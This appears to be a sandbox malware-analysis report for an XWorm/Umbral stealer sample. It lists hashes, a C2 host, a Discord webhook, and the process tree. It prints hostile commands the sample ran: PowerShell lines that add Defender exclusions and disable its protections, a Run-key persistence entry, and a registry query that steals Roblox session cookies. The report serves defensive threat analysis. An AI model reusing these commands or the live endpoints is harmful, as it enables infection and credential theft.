Analysis
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max time kernel
120s -
max time network
146s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
25-02-2024 06:07
Static task
static1
Behavioral task
behavioral1
Sample
IO tootls.exe
Resource
win10v2004-20240221-en
Behavioral task
behavioral2
Sample
IO tootls.exe
Resource
win7-20240221-en
Behavioral task
behavioral3
Sample
IO tootls.exe
Resource
win10-20240221-en
Behavioral task
behavioral4
Sample
IO tootls.exe
Resource
win10v2004-20240221-en
General
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Target
IO tootls.exe
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Size
209KB
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MD5
841d1c344cc00671b25a80e6db3b1e06
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SHA1
1952391bfc777b4cd2acc403d895dd7e198aa013
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SHA256
932efb570cd8045499675443a910394b5c6bec45511aa2c517a636bd3e385766
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SHA512
75af1637e76c307c6241a4ac26859a9260c2198d2aa83e5a6c52e0ec6bb37fac4cecf4f002f05d861356f833fc306869682e3195c0e6ba603e8ebf4b9a98f96e
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SSDEEP
6144:v5DmisKDLvohc1Y3o40bbwhpn8+jPmqSQj33zO9Y:xXLDor440y8oPmZW
Malware Config
Extracted
xworm
hai1723rat-60039.portmap.io:60039
Extracted
umbral
https://discord.com/api/webhooks/1211176678466916392/99VOwP9dc7iQz2Is-QlZ872KZaiUa4r3sEvXqZ6NmS-fFuTojiUjOg2SjIUWBCIoPNFA
Signatures
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Detect Umbral payload 2 IoCs
resource yara_rule behavioral2/files/0x0007000000014aec-38.dat family_umbral behavioral2/memory/3012-53-0x0000000000E40000-0x0000000000E8E000-memory.dmp family_umbral -
Detect Xworm Payload 2 IoCs
resource yara_rule behavioral2/files/0x000e000000014738-32.dat family_xworm behavioral2/memory/2484-54-0x0000000000370000-0x0000000000396000-memory.dmp family_xworm -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts controllloader.exe -
Executes dropped EXE 2 IoCs
pid Process 2484 systemload.exe 3012 controllloader.exe -
Loads dropped DLL 2 IoCs
pid Process 3016 IO tootls.exe 3016 IO tootls.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\updatee = "C:\\Windows\\.NET\\netloader.exe" powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 10 discord.com 11 discord.com -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 6 ip-api.com 2 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2380 set thread context of 3016 2380 IO tootls.exe 1 -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\.NET\netloader.exe IO tootls.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2368 wmic.exe -
Suspicious behavior: EnumeratesProcesses 13 IoCs
pid Process 2208 powershell.exe 3016 IO tootls.exe 3016 IO tootls.exe 3016 IO tootls.exe 1492 powershell.exe 1032 powershell.exe 1948 powershell.exe 1764 powershell.exe 1432 powershell.exe 2484 systemload.exe 1684 powershell.exe 1608 powershell.exe 3008 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2208 powershell.exe Token: SeDebugPrivilege 3016 IO tootls.exe Token: SeDebugPrivilege 1492 powershell.exe Token: SeDebugPrivilege 3012 controllloader.exe Token: SeDebugPrivilege 2484 systemload.exe Token: SeDebugPrivilege 1032 powershell.exe Token: SeDebugPrivilege 1948 powershell.exe Token: SeDebugPrivilege 1764 powershell.exe Token: SeDebugPrivilege 1432 powershell.exe Token: SeDebugPrivilege 2484 systemload.exe Token: SeDebugPrivilege 1684 powershell.exe Token: SeDebugPrivilege 1608 powershell.exe Token: SeIncreaseQuotaPrivilege 1280 wmic.exe Token: SeSecurityPrivilege 1280 wmic.exe Token: SeTakeOwnershipPrivilege 1280 wmic.exe Token: SeLoadDriverPrivilege 1280 wmic.exe Token: SeSystemProfilePrivilege 1280 wmic.exe Token: SeSystemtimePrivilege 1280 wmic.exe Token: SeProfSingleProcessPrivilege 1280 wmic.exe Token: SeIncBasePriorityPrivilege 1280 wmic.exe Token: SeCreatePagefilePrivilege 1280 wmic.exe Token: SeBackupPrivilege 1280 wmic.exe Token: SeRestorePrivilege 1280 wmic.exe Token: SeShutdownPrivilege 1280 wmic.exe Token: SeDebugPrivilege 1280 wmic.exe Token: SeSystemEnvironmentPrivilege 1280 wmic.exe Token: SeRemoteShutdownPrivilege 1280 wmic.exe Token: SeUndockPrivilege 1280 wmic.exe Token: SeManageVolumePrivilege 1280 wmic.exe Token: 33 1280 wmic.exe Token: 34 1280 wmic.exe Token: 35 1280 wmic.exe Token: SeIncreaseQuotaPrivilege 1280 wmic.exe Token: SeSecurityPrivilege 1280 wmic.exe Token: SeTakeOwnershipPrivilege 1280 wmic.exe Token: SeLoadDriverPrivilege 1280 wmic.exe Token: SeSystemProfilePrivilege 1280 wmic.exe Token: SeSystemtimePrivilege 1280 wmic.exe Token: SeProfSingleProcessPrivilege 1280 wmic.exe Token: SeIncBasePriorityPrivilege 1280 wmic.exe Token: SeCreatePagefilePrivilege 1280 wmic.exe Token: SeBackupPrivilege 1280 wmic.exe Token: SeRestorePrivilege 1280 wmic.exe Token: SeShutdownPrivilege 1280 wmic.exe Token: SeDebugPrivilege 1280 wmic.exe Token: SeSystemEnvironmentPrivilege 1280 wmic.exe Token: SeRemoteShutdownPrivilege 1280 wmic.exe Token: SeUndockPrivilege 1280 wmic.exe Token: SeManageVolumePrivilege 1280 wmic.exe Token: 33 1280 wmic.exe Token: 34 1280 wmic.exe Token: 35 1280 wmic.exe Token: SeIncreaseQuotaPrivilege 2336 wmic.exe Token: SeSecurityPrivilege 2336 wmic.exe Token: SeTakeOwnershipPrivilege 2336 wmic.exe Token: SeLoadDriverPrivilege 2336 wmic.exe Token: SeSystemProfilePrivilege 2336 wmic.exe Token: SeSystemtimePrivilege 2336 wmic.exe Token: SeProfSingleProcessPrivilege 2336 wmic.exe Token: SeIncBasePriorityPrivilege 2336 wmic.exe Token: SeCreatePagefilePrivilege 2336 wmic.exe Token: SeBackupPrivilege 2336 wmic.exe Token: SeRestorePrivilege 2336 wmic.exe Token: SeShutdownPrivilege 2336 wmic.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2484 systemload.exe -
Suspicious use of WriteProcessMemory 62 IoCs
description pid Process procid_target PID 2380 wrote to memory of 2208 2380 IO tootls.exe 3 PID 2380 wrote to memory of 2208 2380 IO tootls.exe 3 PID 2380 wrote to memory of 2208 2380 IO tootls.exe 3 PID 2380 wrote to memory of 2208 2380 IO tootls.exe 3 PID 2380 wrote to memory of 3016 2380 IO tootls.exe 1 PID 2380 wrote to memory of 3016 2380 IO tootls.exe 1 PID 2380 wrote to memory of 3016 2380 IO tootls.exe 1 PID 2380 wrote to memory of 3016 2380 IO tootls.exe 1 PID 2380 wrote to memory of 3016 2380 IO tootls.exe 1 PID 2380 wrote to memory of 3016 2380 IO tootls.exe 1 PID 2380 wrote to memory of 3016 2380 IO tootls.exe 1 PID 2380 wrote to memory of 3016 2380 IO tootls.exe 1 PID 2380 wrote to memory of 3016 2380 IO tootls.exe 1 PID 3016 wrote to memory of 2484 3016 IO tootls.exe 32 PID 3016 wrote to memory of 2484 3016 IO tootls.exe 32 PID 3016 wrote to memory of 2484 3016 IO tootls.exe 32 PID 3016 wrote to memory of 2484 3016 IO tootls.exe 32 PID 3016 wrote to memory of 3012 3016 IO tootls.exe 33 PID 3016 wrote to memory of 3012 3016 IO tootls.exe 33 PID 3016 wrote to memory of 3012 3016 IO tootls.exe 33 PID 3016 wrote to memory of 3012 3016 IO tootls.exe 33 PID 3016 wrote to memory of 924 3016 IO tootls.exe 34 PID 3016 wrote to memory of 924 3016 IO tootls.exe 34 PID 3016 wrote to memory of 924 3016 IO tootls.exe 34 PID 3016 wrote to memory of 924 3016 IO tootls.exe 34 PID 924 wrote to memory of 1492 924 cmd.exe 36 PID 924 wrote to memory of 1492 924 cmd.exe 36 PID 924 wrote to memory of 1492 924 cmd.exe 36 PID 924 wrote to memory of 1492 924 cmd.exe 36 PID 3012 wrote to memory of 1032 3012 controllloader.exe 37 PID 3012 wrote to memory of 1032 3012 controllloader.exe 37 PID 3012 wrote to memory of 1032 3012 controllloader.exe 37 PID 2484 wrote to memory of 1948 2484 systemload.exe 40 PID 2484 wrote to memory of 1948 2484 systemload.exe 40 PID 2484 wrote to memory of 1948 2484 systemload.exe 40 PID 3012 wrote to memory of 1432 3012 controllloader.exe 44 PID 3012 wrote to memory of 1432 3012 controllloader.exe 44 PID 3012 wrote to memory of 1432 3012 controllloader.exe 44 PID 2484 wrote to memory of 1764 2484 systemload.exe 42 PID 2484 wrote to memory of 1764 2484 systemload.exe 42 PID 2484 wrote to memory of 1764 2484 systemload.exe 42 PID 3012 wrote to memory of 1684 3012 controllloader.exe 46 PID 3012 wrote to memory of 1684 3012 controllloader.exe 46 PID 3012 wrote to memory of 1684 3012 controllloader.exe 46 PID 3012 wrote to memory of 1608 3012 controllloader.exe 48 PID 3012 wrote to memory of 1608 3012 controllloader.exe 48 PID 3012 wrote to memory of 1608 3012 controllloader.exe 48 PID 3012 wrote to memory of 1280 3012 controllloader.exe 49 PID 3012 wrote to memory of 1280 3012 controllloader.exe 49 PID 3012 wrote to memory of 1280 3012 controllloader.exe 49 PID 3012 wrote to memory of 2336 3012 controllloader.exe 51 PID 3012 wrote to memory of 2336 3012 controllloader.exe 51 PID 3012 wrote to memory of 2336 3012 controllloader.exe 51 PID 3012 wrote to memory of 1572 3012 controllloader.exe 53 PID 3012 wrote to memory of 1572 3012 controllloader.exe 53 PID 3012 wrote to memory of 1572 3012 controllloader.exe 53 PID 3012 wrote to memory of 3008 3012 controllloader.exe 55 PID 3012 wrote to memory of 3008 3012 controllloader.exe 55 PID 3012 wrote to memory of 3008 3012 controllloader.exe 55 PID 3012 wrote to memory of 2368 3012 controllloader.exe 59 PID 3012 wrote to memory of 2368 3012 controllloader.exe 59 PID 3012 wrote to memory of 2368 3012 controllloader.exe 59
Processes
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C:\Users\Admin\AppData\Local\Temp\IO tootls.exe#cmd1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3016 -
C:\Users\Admin\AppData\Local\Temp\systemload.exe"C:\Users\Admin\AppData\Local\Temp\systemload.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2484 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\systemload.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1948
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'systemload.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1764
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C:\Users\Admin\AppData\Local\Temp\controllloader.exe"C:\Users\Admin\AppData\Local\Temp\controllloader.exe"2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3012 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\controllloader.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1032
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1432
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1684
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1608
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1280
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2336
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵PID:1572
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3008
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name3⤵
- Detects videocard installed
PID:2368
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\start.cmd" "2⤵
- Suspicious use of WriteProcessMemory
PID:924 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\'"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1492
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'updatee';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'updatee' -Value '"C:\Windows\.NET\netloader.exe"' -PropertyType 'String'1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2208
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C:\Users\Admin\AppData\Local\Temp\IO tootls.exe"C:\Users\Admin\AppData\Local\Temp\IO tootls.exe"1⤵
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2380
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
93B
MD5f960abd9684a879e8eca03b8c864ea96
SHA1fb4b9a9b40af84ae46b70bb40ac3e1f45e4b4ad3
SHA2567389178da21f4e2d4ef73ab199b7beeb97247a6c1afec3f3c48a7f561cbfaf90
SHA5122c6267ab25c364c5b13059ed593bb47dfae586ae7b1411634efa3f45aaf07b4d8f491fe93bfd34482a1250c955f1e8c27e1afa0460672a5e9584ebe007ab2054
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Filesize
130KB
MD5352a162df9ca5605e1a1910c7a24cb7c
SHA14b4ed1c740a03c15eb47d875b65c76941debcaf7
SHA25687e9d9a7a197a0cd483f8e73f307af53a7518cabc001257c8235743181b9a7b8
SHA5120c2bae3f66748cc3448eaf60c5079ae3afba6d585e19e54857f7c152a1bd69c3b8e3df7feb413f3eb2df0f2bc01b44be5bcdefd5427af154a221f2b808a2399d
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5771164c8df23de18865ff4fbaa8f620a
SHA14ddb1bf813701087c02d0e98c96f0d63afdb1024
SHA256ad2ba42c5315af1ab8e53cd3918ce5f56292128cbee9481a23b9ce0c40051ebf
SHA51257cecff4080314e1bf50c0450fae740ef247600d8f34cc06fc37862ce5a39e332359bd5bf2ca91eea852f382eaff4fb94f4713b4a09270b1982aafa39fbe5ce4
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD501c1454c04401f31129e71e43e179247
SHA14239757ea85b9db7b0baca847623f2b3bc3dd54e
SHA25657e4897a5291a4135d889ea9678fc3c981b4d6f4a52f6cf0e1376b4d6e54d11f
SHA512f6bdb28c64989f755ae8787e4773ee96aa9df0c1c04a9ac02b590ff45eb3ead9ced1705f4c3c81455a729b85ae526cc9e5fdf361fbe9167d69e282883c06dca5
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Filesize
286KB
MD5e41a0fa0c1e39af92d22090d4df61a1f
SHA1c971a4089b1ab116c34b5ab0dc54d9977f86e834
SHA256c0966533c2bc8c8b9ee176d774eae0ca1c4d6fe6e8efe5d87d4cac8c04b84372
SHA512d42798fa9115f3c3775798a26ef7c28e4f173bdc2b74884b01a4e7905b17a2da09508766a626652eec3622a15a891b6859f4e9a422eb052a59b3fd3eafe1a7fd